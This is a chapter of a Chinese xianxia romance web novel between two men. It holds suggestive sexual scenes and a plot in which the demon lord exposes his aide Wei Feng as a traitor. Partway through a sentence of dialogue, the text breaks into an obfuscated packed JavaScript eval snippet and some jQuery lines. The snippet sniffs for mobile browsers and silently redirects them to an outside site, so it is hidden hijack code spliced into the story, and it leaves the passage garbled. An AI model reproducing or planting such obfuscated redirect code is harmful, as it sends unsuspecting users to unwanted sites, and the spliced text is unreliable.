25.前辈
作品:《死遁后,他像个男鬼缠上来了》 -
等我醒来发现再一次犯下不可饶恕的大错。
捂脸痛心,不想承认。
“前辈真对我没半点想法吗?明明是你先对我……”有个魂淡单手支着下巴,躺在我身边委屈唧唧的,一副似被我吃干抹净了......
“大胆!”我怒了,恼羞成怒。
“我只是......中术了。才会……”
其实包括第一次中术,我也没错认任何人。
我怎么会错认?
心尖上藏了很久很久的人。
但,我死装到底。
......
“前辈勾引的我,莫不是又忘了?”他修长微凉的手指画过我的眉骨。
“亲一下,算不得勾引!”我心底微微颤抖,却固执撇头,拒绝承认。
“那,这样呢?也不算?”他用炙热眼神指了指我被子底下的春光。
“睡一觉,在我们魔界也不过是稀松平常。”的确如此,我所道不过事实。
苑厉阑眸色一冷:“前辈嘴巴说的我都不想听,不如只顾得上喘气时的声音……我爱听。”
苑厉阑不愧是个天赋型的实践天才!
无师自通,自练成才。
很快,我又昏昏沉沉如火海中飘摇,只剩下厚重的喘息:
“住手!那里不行………住嘴!”
“前辈,为什么不敢承认你明明很喜欢……”
“苑、厉、阑......你混账!嗯哼......”
“嘘,前辈喊太大声了,这里可不是魔界……
我们正在做的事,不可告人……”
苑厉阑他绝对是故意的!
被他这么一提醒,我瞬间背后一片冷汗,体内高温失控,陷入冰火两重天!
我狠狠踢了他一脚报复!
坏东西!
他却闷哼笑了。
我哪里会知道,当初那青涩小子不仅敢骑我头上,还骑我身上了!
苑厉阑握住我再次想蠢蠢欲动的脚:
“推开我那么多次。
前辈,还要踢开我吗?”
我:......
我抬了抬手,巴掌并没呼他脸上,作罢。
反手勾住了他脖子。
苑厉阑眉骨一沉,
“如果前辈不忍心扇我,那我可能就要更过分一些了哦……”
“你敢?得寸进尺的东西!”
“前辈,是不喜欢吗?那我换个地方亲。”
“你……混账……”
嘴巴没空只余下不可描述的闷哼。
“嗯,只混前辈的帐。”
-
被睡了!五六七八次......
这件事我有心理准备,但没准备那么多。
苑厉阑,他纯粹就是个混蛋啊!
我一怒之下,怒了一下。
算了,他整日前辈前辈的喊我,我让着他点儿吧。
-
两日后,准备辞别林巳家人,三人一同返回仙门。
倒是终于收到了卫风十万火急传信:
“母危速归!”
短短的几个字,却透露着不同寻常的危险气息。
我追着魔鸦飞了出去,追至云荷镇边界处。
却被一阵强烈的抽离感,逼迫得我紧急朝自己狠狠扎了几根提前准备好的钉魂针——
剧烈疼痛,超出了神经承受范围,我一阵晕眩,吐了一口血!
苑厉阑和林巳赶来心急如焚扶住我:“前辈!”
“涂长老您这是......”
我眼眸冰冷:“无事,速回仙门。”
事实证明了我的猜想,想夺舍我的人,力量有限,暂时无法触及仙门内。
但在人间尚有如此余力,两次三番算计我,恐怕我敢踏进魔界一步,定要被夺舍成功了。
解决此事不能再拖了。
-
魔宫。
玉榻之上,冰雕玉琢的美人乌发垂地,搭在被子外的手腕骨节凸出,仿若一株脆弱易折的白玉兰枝。
骨相绝美,肌肤胜雪。
卫风小心翼翼擦拭他额头上的薄汗,像擦拭一件稀世的薄胎瓷器。
那双紧闭的眼眸,睫毛浓密黑长,投下两弯浅浅的清影,如倦鸟收敛翅膀。
卫风盯紧床上的人,有一瞬间的出神。
与他心底的影子几乎重叠,除了那双眼眸睁开的时候……
一双金瞳妖异阴鸷诡谲,洞悉一切,睥睨众生;
另外一双乌眸淡漠冷月清风,如霜似雪,包容万物。
他们是决然不同的两个灵魂!
我醒来之时,卫风迅速收起满脸痴迷,十分担忧地跪在一旁:“君上,您终于回来了。”
压下心头的恐慌,我捏紧拳头,假装若无其事地坐了起来:“发生了何事?”
我不是与苑厉阑他们赶回仙门途中吗?
用力捏了捏隐隐作痛的额头,却想不起来发生了何事。
失去一段记忆的空白感令我心脏缩紧,徒生畏惧。
“属下该死,竟不知是仙门弟子绑架了您!”
“绑架?”
“君上身上的伤定是他们所为吧......为了控制您手段如此下作!竟对您使出钉魂针......”卫风有几分薄怒。
我心下一惊,运转气息,钉魂针不知如何已全被拔出!
“谁干的?!”我握拳愤怒。
得知沦为砧板上鱼肉的愤怒!
卫风低垂着头,啪地跪地说明来龙去脉:
“君君上......您在云荷镇打伤了两名绑架您的仙门弟子,我收到君上您发出的传讯符立即前去救驾......这才把您接回魔宫......”
“属下办事不力,求君上处罚!”
我脑子嗡嗡的,对此事一片茫然:
“你说,我出手打伤了两名仙门的弟子?”
苑厉阑和林巳被我打伤了?
卫风听出了我隐隐的怒气,始终不敢抬头:“是,一个重伤,都怪他死死缠住您不放......幸亏君上出手果断狠厉,我等才能有机会把您接走......”
我低头失神地看着自己的双掌,身上除了钉魂针留下的伤口,其余毫发无损。
定是苑厉阑怕伤到我,我却对他下了死手......吗?
模糊闪过一些破碎记忆,
苑厉阑口吐血沫不愿松开我的手:“前辈,是我......不是说好了一起回仙门吗?”
我却双目空洞,口中喃喃:“挡我者,杀......”
林巳在一旁六神无主:“大师兄,你快放手,再不放手,涂长老真要杀了你......”
“前辈说好让我带他速回仙门的,我必须做到!”
最后是苑厉阑死不撒手的画面……
心底一股血腥涌动,头晕目眩,我狠狠捏住床边吐了一口黑血!
“苑厉阑.....”
他被我打成重伤了!
该死!!!
屠戮一切的魔气失控弥漫在整个房间,压迫得卫风喘不过气来。
卫风肩膀一抖,“原来那位面具少年竟是仙门的首徒苑厉阑,潜入我们魔界就是为了对您不利!辛亏君上早
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373954|199264||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有察觉,对他诸多提防,就是没料到,他竟敢把您绑走......”
“属下,属下自君上落崖,翻遍了整个魔界都没能寻到您......属下救驾来迟!求君上重罚。”
见我纯色苍白沉默不语,但至少稍稍减弱杀气稳定了下来。
卫风才敢颤巍巍奉上一截“紫龙木”:“君上,这是先前剩下的最后一点紫龙木,可助君上身体恢复如初。
小小钉魂针虽不足为惧,但十分难缠,不及时处理会伤及了您的灵根......”
我仔细地瞧着那根散发着莹白微芒的东西,强忍心火!
“君上?”
卫风察觉我不仅怒气未消,反而威压渐重,捧着紫龙木的双手轻微颤抖。
威压把整座魔宫的人都压得匍匐在地上瑟瑟发抖,面露痛苦。
......
我松开了眉头,摊手:“拿上来。”
卫风顿时像是卸掉了身上的千金重担般站起来,额头上冷汗凛凛。
我拿起紫龙木,捏在指尖炼化......
淡淡的药香弥漫。
卫风紧紧盯住那紫龙木逐渐变成一颗黑紫色的金丹。
我轻轻握住在手心里,没有喂进嘴里。
“君上,不立马服用吗?您的伤......拖延不得。”
他的语气显得有些着急。
我漫不经心地把玩着那颗药香四溢的金丹,
卫风的视线越来越着急,恨不得上前亲自喂我服下。
从前他这般,我视作是关心。
但现在......
一切就像是一根线,日常不注意的细节碎片,一点一滴的串联在了一起......
“卫风。”
我低垂眉眼,看不清什么神色。
卫风走近了一步:“君上有何吩咐......”
余光里,他的脚步犹豫了,并且离我那......么远,不敢再靠近半步。
呵,他可是动不动就凑近我耳边说话来着。
“过来。”
我故意刁难。
卫风暗自观察,却什么也看不清,只看见床上的人侧脸散落的黑发下,尖尖的下巴和微微勾起似笑非笑的一抹滴血红唇。
狷狂且妖艳!
竟然有一瞬间,似那位亲临!!
吓得他几步踉跄:“尊......”
我一回头,他警觉不对,想后退已经来不及了。
一只微芒的手掌狠狠镇碎了他的五脏六腑——
卫风飞出了几丈远,先是不敢置信,但又随即默认似的咳血不止,
“君上何时发现了?”
“发现什么?发现你背刺了本座?”
我另一手捏碎了手掌上的紫龙木金丹,拖着及地的金纹黑袍缓缓站了起来。
卫风似乎想极力阻止我毁掉金丹,却爬不起来:“你......”
我赤足前行,步步生威:“无极宫戒备森严,你是如何瞒过所有的守卫,悄无声息,轻易进入?”
“更别提冰牢重兵把守,布有很强的结界加持。”
我猜苑厉阑恐怕也亲自加了层结界。
卫风又怎么能全身而退?
必然有一个股强大的力量在他背后,为他处处开挂,所以才畅通无阻。
“竟是这时就漏了破绽吗?”他喃喃细语,因毫无防备挨了我一掌,几乎站不起来,只能在原地挣扎咳血。
“是啊,明明我那么信任你。”我嗤笑一声,我疑神疑鬼,疑心病重。
可我最不生疑的人……
卫风脸色倏地白了。

